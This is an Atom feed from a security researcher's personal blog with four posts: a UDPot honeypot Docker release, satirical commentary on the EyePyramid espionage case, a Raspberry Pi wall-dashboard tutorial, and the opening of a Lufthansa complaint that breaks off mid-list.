<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Alessandro Tanasi @jekil's blog</title><link href="https://jekil.sexy/" rel="alternate"></link><link href="http://feeds.feedburner.com/jekil_is_sexy" rel="self"></link><id>https://jekil.sexy/</id><updated>2020-04-25T23:25:00+01:00</updated><subtitle>Alessandro Tanasi's thoughts</subtitle><entry><title>UDPot updated and new docker</title><link href="https://jekil.sexy/blog/2020/udpot-updated-and-new-docker.html" rel="alternate"></link><published>2020-04-25T23:25:00+01:00</published><updated>2020-04-25T23:25:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2020-04-25:/blog/2020/udpot-updated-and-new-docker.html</id><summary type="html">&lt;p&gt;&lt;a class="reference external" href="https://github.com/jekil/UDPot"&gt;UDPot&lt;/a&gt; is a littel script to run
an honeypot which acts as a real &lt;span class="caps"&gt;DNS&lt;/span&gt; server, sending out &lt;span class="caps"&gt;DNS&lt;/span&gt; replies
for the first bunch of requests, and after it work as a&amp;nbsp;sinkhole.&lt;/p&gt;
&lt;p&gt;In the last days I refreshed the code, updated the requirements and more
spring&amp;nbsp;cleaning.&lt;/p&gt;
&lt;p&gt;Now a docker image is available on &lt;a class="reference external" href="https://hub.docker.com/r/jekil/udpot"&gt;DockerHub&lt;/a&gt;,
you can run it&amp;nbsp;with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; docker run --name udpot -p &lt;span class="m"&gt;5053&lt;/span&gt;:5053/udp -p &lt;span class="m"&gt;5053&lt;/span&gt;:5053/tcp -d jekil/udpot
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It will run UDPot on port 5053 &lt;span class="caps"&gt;UDP&lt;/span&gt; and &lt;span class="caps"&gt;TCP&lt;/span&gt;, if you want to use it on another port you
can bind it with …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a class="reference external" href="https://github.com/jekil/UDPot"&gt;UDPot&lt;/a&gt; is a littel script to run
an honeypot which acts as a real &lt;span class="caps"&gt;DNS&lt;/span&gt; server, sending out &lt;span class="caps"&gt;DNS&lt;/span&gt; replies
for the first bunch of requests, and after it work as a&amp;nbsp;sinkhole.&lt;/p&gt;
&lt;p&gt;In the last days I refreshed the code, updated the requirements and more
spring&amp;nbsp;cleaning.&lt;/p&gt;
&lt;p&gt;Now a docker image is available on &lt;a class="reference external" href="https://hub.docker.com/r/jekil/udpot"&gt;DockerHub&lt;/a&gt;,
you can run it&amp;nbsp;with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; docker run --name udpot -p &lt;span class="m"&gt;5053&lt;/span&gt;:5053/udp -p &lt;span class="m"&gt;5053&lt;/span&gt;:5053/tcp -d jekil/udpot
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It will run UDPot on port 5053 &lt;span class="caps"&gt;UDP&lt;/span&gt; and &lt;span class="caps"&gt;TCP&lt;/span&gt;, if you want to use it on another port you
can bind it with docker or redirect it with&amp;nbsp;iptables.&lt;/p&gt;
</content><category term="Tools"></category><category term="honeypot"></category><category term="udpot"></category></entry><entry><title>EyePyramid: I forgot to do my homework!</title><link href="https://jekil.sexy/blog/2017/eyepyramid-i-forgot-to-do-myhomework.html" rel="alternate"></link><published>2017-01-11T02:59:00+00:00</published><updated>2017-01-11T02:59:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2017-01-11:/blog/2017/eyepyramid-i-forgot-to-do-myhomework.html</id><summary type="html">&lt;p&gt;Today Italian news were surrounded by the story of brother and sister arrested in Italy for spying on top public officials, institutions and high profile&amp;nbsp;VIPs.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;EyePyramid&lt;/strong&gt; story has been &lt;a class="reference external" href="http://english.sina.com/news/2017-01-10/detail-ifxzkfuh6792570.shtml"&gt;widely&lt;/a&gt; &lt;a class="reference external" href="http://www.telegraph.co.uk/news/2017/01/10/italian-brother-sister-arrested-cyber-espionage-operation-tapped/"&gt;reported&lt;/a&gt; and probably it is going to monopolise Italian media for the next week. So I do not want to write about&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;The only official information available (right now) are in the &lt;a class="reference external" href="http://www.agi.it/pictures/pdf/agi/agi/2017/01/10/132733992-5cec4d88-49a1-4a00-8a01-dde65baa5a68.pdf"&gt;subpoena / arrest warrant&lt;/a&gt; (sorry, in Italian). It is filled of operational details about how the bad guys were running their&amp;nbsp;business.&lt;/p&gt;
&lt;p&gt;Technically speaking, they wrote a &lt;span class="caps"&gt;VB&lt;/span&gt;.&lt;span class="caps"&gt;NET&lt;/span&gt; malware with &lt;span class="caps"&gt;RAT&lt;/span&gt; / spyware features. They infected …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Today Italian news were surrounded by the story of brother and sister arrested in Italy for spying on top public officials, institutions and high profile&amp;nbsp;VIPs.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;EyePyramid&lt;/strong&gt; story has been &lt;a class="reference external" href="http://english.sina.com/news/2017-01-10/detail-ifxzkfuh6792570.shtml"&gt;widely&lt;/a&gt; &lt;a class="reference external" href="http://www.telegraph.co.uk/news/2017/01/10/italian-brother-sister-arrested-cyber-espionage-operation-tapped/"&gt;reported&lt;/a&gt; and probably it is going to monopolise Italian media for the next week. So I do not want to write about&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;The only official information available (right now) are in the &lt;a class="reference external" href="http://www.agi.it/pictures/pdf/agi/agi/2017/01/10/132733992-5cec4d88-49a1-4a00-8a01-dde65baa5a68.pdf"&gt;subpoena / arrest warrant&lt;/a&gt; (sorry, in Italian). It is filled of operational details about how the bad guys were running their&amp;nbsp;business.&lt;/p&gt;
&lt;p&gt;Technically speaking, they wrote a &lt;span class="caps"&gt;VB&lt;/span&gt;.&lt;span class="caps"&gt;NET&lt;/span&gt; malware with &lt;span class="caps"&gt;RAT&lt;/span&gt; / spyware features. They infected high level targets via spear-phishing and pivoted on their email to infect more high level targets. The whole thing was reporting and exfiltering data to a&amp;nbsp;C&amp;amp;C.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://twitter.com/phretor"&gt;&amp;#64;phretor&lt;/a&gt; wrote a &lt;a class="reference external" href="https://gist.github.com/phretor/c01945ec501480291d780bbec01da20e"&gt;digest&lt;/a&gt;  with all the available IoC and &lt;a class="reference external" href="https://twitter.com/ReaQta"&gt;&amp;#64;ReaQta&lt;/a&gt; guys are publishing some details from malware&amp;nbsp;analysis.&lt;/p&gt;
&lt;p&gt;So, there is no much to say. This is not so advanced to be dubbed as &lt;span class="caps"&gt;APT&lt;/span&gt;$foo or $barBear, although we understood how we do not need cutting edge malware to compromise high level&amp;nbsp;targets.&lt;/p&gt;
&lt;p&gt;Now the fun part: what about operational details? The arrest warrant is plenty of interesting suggestions by these malware&amp;nbsp;operators:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;Side channel over cloud storage or email&lt;/strong&gt;: why you should deploy a complex side channel if you can just push data to the cloud? They stole small files just sending them via email and large files uploading to some cloud storage&amp;nbsp;sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Licensed software&lt;/strong&gt;: when writing malware, if you need a commercial library, be honest and fair. Buy a proper license using your real&amp;nbsp;name.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privacy Protect Everything&lt;/strong&gt;: for your C&amp;amp;C forgot fast flux and &lt;span class="caps"&gt;DGA&lt;/span&gt;, simply old stuff just works. With a bunch of domains and a whois privacy option you can rule the&amp;nbsp;world!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Premium &lt;span class="caps"&gt;DSL&lt;/span&gt; support&lt;/strong&gt;: if you are in trouble with your internet link, just tell the support you are bot herding like a&amp;nbsp;boss.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Buy chocolate flavoured smart cards&lt;/strong&gt;: so next time you can just eat&amp;nbsp;them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Do not care about your homework and be a great &lt;span class="caps"&gt;YOLO&lt;/span&gt; malware&amp;nbsp;operator!&lt;/p&gt;
</content><category term="Blog"></category><category term="malware"></category><category term="botnet"></category><category term="EyePyramid"></category></entry><entry><title>A Raspberry Pi Home Dashboard</title><link href="https://jekil.sexy/blog/2016/a-raspberry-pi-home-dashboard.html" rel="alternate"></link><published>2016-11-27T17:39:00+00:00</published><updated>2016-11-27T17:39:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2016-11-27:/blog/2016/a-raspberry-pi-home-dashboard.html</id><summary type="html">&lt;p&gt;Some time ago I created an home dashboard, using a Raspberry Pi, to have all my favourite tools (i.e. Zabbix, Munin)
on a wall screen in my room.
Now I want to write down and share with everyone how I put it&amp;nbsp;together.&lt;/p&gt;
&lt;p&gt;The whole idea of this is to have the Raspberry Pi hidden behind the screen, so trailing Ethernet cables isn&amp;#8217;t ideal. Luckily the Pi supports a range of Wifi adapters, also latest Pi has integrated&amp;nbsp;Wifi.&lt;/p&gt;
&lt;div class="section" id="what-you-ll-need"&gt;
&lt;h2&gt;What you&amp;#8217;ll&amp;nbsp;need&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Raspberry Pi (I used a spare old&amp;nbsp;one)&lt;/li&gt;
&lt;li&gt;Micro &lt;span class="caps"&gt;SD&lt;/span&gt; Card (8 gigs is&amp;nbsp;enough …&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Some time ago I created an home dashboard, using a Raspberry Pi, to have all my favourite tools (i.e. Zabbix, Munin)
on a wall screen in my room.
Now I want to write down and share with everyone how I put it&amp;nbsp;together.&lt;/p&gt;
&lt;p&gt;The whole idea of this is to have the Raspberry Pi hidden behind the screen, so trailing Ethernet cables isn&amp;#8217;t ideal. Luckily the Pi supports a range of Wifi adapters, also latest Pi has integrated&amp;nbsp;Wifi.&lt;/p&gt;
&lt;div class="section" id="what-you-ll-need"&gt;
&lt;h2&gt;What you&amp;#8217;ll&amp;nbsp;need&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Raspberry Pi (I used a spare old&amp;nbsp;one)&lt;/li&gt;
&lt;li&gt;Micro &lt;span class="caps"&gt;SD&lt;/span&gt; Card (8 gigs is&amp;nbsp;enough)&lt;/li&gt;
&lt;li&gt;&lt;span class="caps"&gt;HDMI&lt;/span&gt;&amp;nbsp;cable&lt;/li&gt;
&lt;li&gt;Monitor/&lt;span class="caps"&gt;TV&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;(Optional) Wifi&amp;nbsp;Adapter&lt;/li&gt;
&lt;li&gt;(Optional) Monitor&amp;nbsp;Mount&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="os-setup"&gt;
&lt;h2&gt;&lt;span class="caps"&gt;OS&lt;/span&gt;&amp;nbsp;Setup&lt;/h2&gt;
&lt;p&gt;Download the latest version of Raspian from &lt;a class="reference external" href="https://www.raspberrypi.org/downloads/raspbian/"&gt;raspberrypi.org&lt;/a&gt;
and flash the microSD card with your program of choice. If you need help doing that check the &lt;a class="reference external" href="https://www.raspberrypi.org/documentation/installation/installing-images/README.md"&gt;installation guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Boot your Raspberry Pi from the flashed microSD card, login using the default credentials and run &lt;a class="reference external" href="https://www.raspberrypi.org/documentation/configuration/raspi-config.md"&gt;raspi-config&lt;/a&gt;&amp;nbsp;with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="go"&gt;sudo raspi-config&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You&amp;#8217;ll need&amp;nbsp;to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Change the account/password from&amp;nbsp;default.&lt;/li&gt;
&lt;li&gt;Enable &lt;span class="caps"&gt;SSH&lt;/span&gt;, to enable remote&amp;nbsp;login.&lt;/li&gt;
&lt;li&gt;Expand the file system, so you can use all your microSD card&amp;nbsp;space.&lt;/li&gt;
&lt;li&gt;Set the desktop environment to auto&amp;nbsp;boot.&lt;/li&gt;
&lt;li&gt;Edit the internationalisation&amp;nbsp;options.&lt;/li&gt;
&lt;li&gt;(Optional) Some monitor needs to enable overscan in order for the image to fill the&amp;nbsp;screen.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to be able to access your Pi from a static &lt;span class="caps"&gt;IP&lt;/span&gt; (very useful for reliable &lt;span class="caps"&gt;SSH&lt;/span&gt; access when it is tied up behind a flatscreen), you have two options to do this. You can either set a &lt;span class="caps"&gt;DHCP&lt;/span&gt; reservation on the router or modify the &lt;em&gt;/etc/network/interfaces&lt;/em&gt; file on the Pi&amp;nbsp;itself.&lt;/p&gt;
&lt;p&gt;In ther interfaces file, you&amp;#8217;ll need to make the changes to fit your network. for&amp;nbsp;example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;auto eth0
iface eth0 inet static
address 192.168.1.69
netmask 255.255.255.0
network 192.168.0.0
broadcast 192.168.1.255
gateway 192.168.1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After a reboot you should be able to login via &lt;span class="caps"&gt;SSH&lt;/span&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="os-configuration"&gt;
&lt;h2&gt;&lt;span class="caps"&gt;OS&lt;/span&gt;&amp;nbsp;Configuration&lt;/h2&gt;
&lt;p&gt;First of all, upgrade your system&amp;nbsp;with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="go"&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade -y&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This will sync the time with Ubuntu&amp;#8217;s &lt;span class="caps"&gt;NTP&lt;/span&gt; server, it is a good idea to have it always in&amp;nbsp;sync:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="go"&gt;sudo apt-get install ntpdate&lt;/span&gt;
&lt;span class="go"&gt;sudo ntpdate -u ntp.ubuntu.com&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="x-setup"&gt;
&lt;h2&gt;X&amp;nbsp;Setup&lt;/h2&gt;
&lt;p&gt;Setup all X11 utilities and midori (a lightweight browser, you could also use epiphany, chromium or a host of other&amp;nbsp;browsers):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="go"&gt;sudo apt-get install -y lightdm unclutter lxde-core midori&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Make sure the screen does not go to sleep, modify &lt;em&gt;/etc/lightdm/lightdm.conf&lt;/em&gt;. Add this line to the &lt;em&gt;[SeatDefaults]&lt;/em&gt;&amp;nbsp;section:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;xserver-command=X -s 0 dpms
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Edit &lt;em&gt;/etc/xdg/lxsession/&lt;span class="caps"&gt;LXDE&lt;/span&gt;/autostart&lt;/em&gt; and make sure the &lt;em&gt;&amp;#64;xscreensaver&lt;/em&gt; line is commented out. In addition, we’ll be adding three options that prevent the screen from going&amp;nbsp;blank:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# @xscreensaver -no-splash
# Turn off screensaver
@xset s off
# Turn off power saving
@xset -dpms
# Disable screen blanking
@xset s noblank
# Hide the mouse cursor
@unclutter
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Create (or modify) &lt;em&gt;~/.config/lxsession/&lt;span class="caps"&gt;LXDE&lt;/span&gt;/autostart&lt;/em&gt; and add the&amp;nbsp;line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;@midori -e Fullscreen -a file:///home/pi/index.html
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Create &lt;em&gt;/home/pi/index.html&lt;/em&gt; as a static &lt;span class="caps"&gt;HTML&lt;/span&gt; page with a little bit of Javascript to create the web slideshow effect, it will load all the web pages in the &lt;em&gt;urls&lt;/em&gt; list after waiting for &lt;em&gt;setTimeout&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;iframe&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;iframe&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;foo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                    &lt;span class="nx"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                    &lt;span class="p"&gt;},&lt;/span&gt;
                    &lt;span class="c1"&gt;// List here the URLs you want to show in your home dashboard.&lt;/span&gt;
                    &lt;span class="nx"&gt;urls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                    &lt;span class="s1"&gt;&amp;#39;http://www.cnn.com/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="s1"&gt;&amp;#39;http://www.bbc.co.uk&amp;#39;&lt;/span&gt;
                    &lt;span class="p"&gt;],&lt;/span&gt;
                    &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="nx"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;urls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

                    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;rotation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                            &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
                        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                            &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                        &lt;span class="p"&gt;}&lt;/span&gt;
                        &lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;urls&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
                        &lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nx"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;callee&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;90000&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
                    &lt;span class="p"&gt;})();&lt;/span&gt;
            &lt;span class="p"&gt;})();&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you are going to show authenticated web pages, i.e. zabbix, you should authenticate yourself manually&amp;nbsp;before.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="bonus"&gt;
&lt;h2&gt;Bonus&lt;/h2&gt;
&lt;p&gt;If you want to turn off you dashboard for the night, you can simply add a &lt;em&gt;cronjob&lt;/em&gt; service to shutdown the
Raspberry, running &lt;em&gt;sudo crontab -e&lt;/em&gt; and&amp;nbsp;adding:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;0       0      *       *       1,2,3,4,5 /sbin/shutdown -h now
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You could also want to setup &lt;span class="caps"&gt;VNC&lt;/span&gt; to remotely control your raspberry and run your maintenance without the need of
keyboard and&amp;nbsp;mouse.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="enjoy"&gt;
&lt;h2&gt;Enjoy&lt;/h2&gt;
&lt;p&gt;As you have seen, getting metrics and dashboards is a relatively simple process and it is super easy to build your own, it is also&amp;nbsp;cheap.&lt;/p&gt;
&lt;p&gt;Here is the list of tutorials I used to bring my dashboard&amp;nbsp;together:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://alexba.in/blog/2013/01/04/raspberrypi-quickstart/"&gt;http://alexba.in/blog/2013/01/04/raspberrypi-quickstart/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://www.reddit.com/r/raspberry_pi/comments/50ujya/raspberry_pi_home_dashboard/"&gt;https://www.reddit.com/r/raspberry_pi/comments/50ujya/raspberry_pi_home_dashboard/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://gocardless.com/blog/raspberry-pi-metric-dashboards/"&gt;https://gocardless.com/blog/raspberry-pi-metric-dashboards/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://gist.github.com/petehamilton/5705374"&gt;https://gist.github.com/petehamilton/5705374&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://gist.github.com/blackjid/dfde6bedef148253f987"&gt;https://gist.github.com/blackjid/dfde6bedef148253f987&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://elinux.org/R-Pi_Troubleshooting"&gt;http://elinux.org/R-Pi_Troubleshooting&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://weblogs.asp.net/bleroy/getting-your-raspberry-pi-to-output-the-right-resolution"&gt;https://weblogs.asp.net/bleroy/getting-your-raspberry-pi-to-output-the-right-resolution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/MobilityLab/TransitScreen/wiki/Raspberry-Pi"&gt;https://github.com/MobilityLab/TransitScreen/wiki/Raspberry-Pi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://blogs.wcode.org/2013/09/howto-boot-your-raspberry-pi-into-a-fullscreen-browser-kiosk"&gt;http://blogs.wcode.org/2013/09/howto-boot-your-raspberry-pi-into-a-fullscreen-browser-kiosk&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><category term="Blog"></category><category term="raspberry"></category></entry><entry><title>A Lufthansa Horror Story</title><link href="https://jekil.sexy/blog/2016/a-lufthansa-horror-story.html" rel="alternate"></link><published>2016-08-02T23:14:00+01:00</published><updated>2016-08-02T23:14:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2016-08-02:/blog/2016/a-lufthansa-horror-story.html</id><summary type="html">&lt;p&gt;&lt;strong&gt;&lt;span class="caps"&gt;TL&lt;/span&gt;;&lt;span class="caps"&gt;DR&lt;/span&gt;:&lt;/strong&gt; What happened today? Thanks to the worst customer service
provided by &lt;a class="reference external" href="http://www.lufthansa.com/"&gt;Lufthansa&lt;/a&gt; I am going to
explain you why I missed a day in Vegas and why, in my over 15 years
experience, you should stop flying&amp;nbsp;Lufthansa.&lt;/p&gt;
&lt;p&gt;Today, I was heading to Las Vegas, to chill out at
&lt;a class="reference external" href="https://www.blackhat.com/"&gt;BlackHat&lt;/a&gt; and
&lt;a class="reference external" href="https://www.defcon.org/"&gt;Defcon&lt;/a&gt;, via Frankfurt and Philadelphia.
I was flying &amp;nbsp;Lufthansa, because in long flights I prefer to spend
more and be safe; with my 2 dogs in a checked-in box. Due to many
Lufthansa fails in logistics and customer service I miss my flight and
I have been …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;&lt;span class="caps"&gt;TL&lt;/span&gt;;&lt;span class="caps"&gt;DR&lt;/span&gt;:&lt;/strong&gt; What happened today? Thanks to the worst customer service
provided by &lt;a class="reference external" href="http://www.lufthansa.com/"&gt;Lufthansa&lt;/a&gt; I am going to
explain you why I missed a day in Vegas and why, in my over 15 years
experience, you should stop flying&amp;nbsp;Lufthansa.&lt;/p&gt;
&lt;p&gt;Today, I was heading to Las Vegas, to chill out at
&lt;a class="reference external" href="https://www.blackhat.com/"&gt;BlackHat&lt;/a&gt; and
&lt;a class="reference external" href="https://www.defcon.org/"&gt;Defcon&lt;/a&gt;, via Frankfurt and Philadelphia.
I was flying &amp;nbsp;Lufthansa, because in long flights I prefer to spend
more and be safe; with my 2 dogs in a checked-in box. Due to many
Lufthansa fails in logistics and customer service I miss my flight and
I have been &lt;em&gt;re-protected&lt;/em&gt; on a flight&amp;nbsp;tomorrow.&lt;/p&gt;
&lt;p&gt;So I would dissect the problem, to understand how multiple faults
could face in missing a flight and have a reputational issue to&amp;nbsp;manage.&lt;/p&gt;
&lt;p&gt;In my opinion Lufthansa fails could be categorized as&amp;nbsp;follows:&lt;/p&gt;
&lt;ul class="simple"&gt;
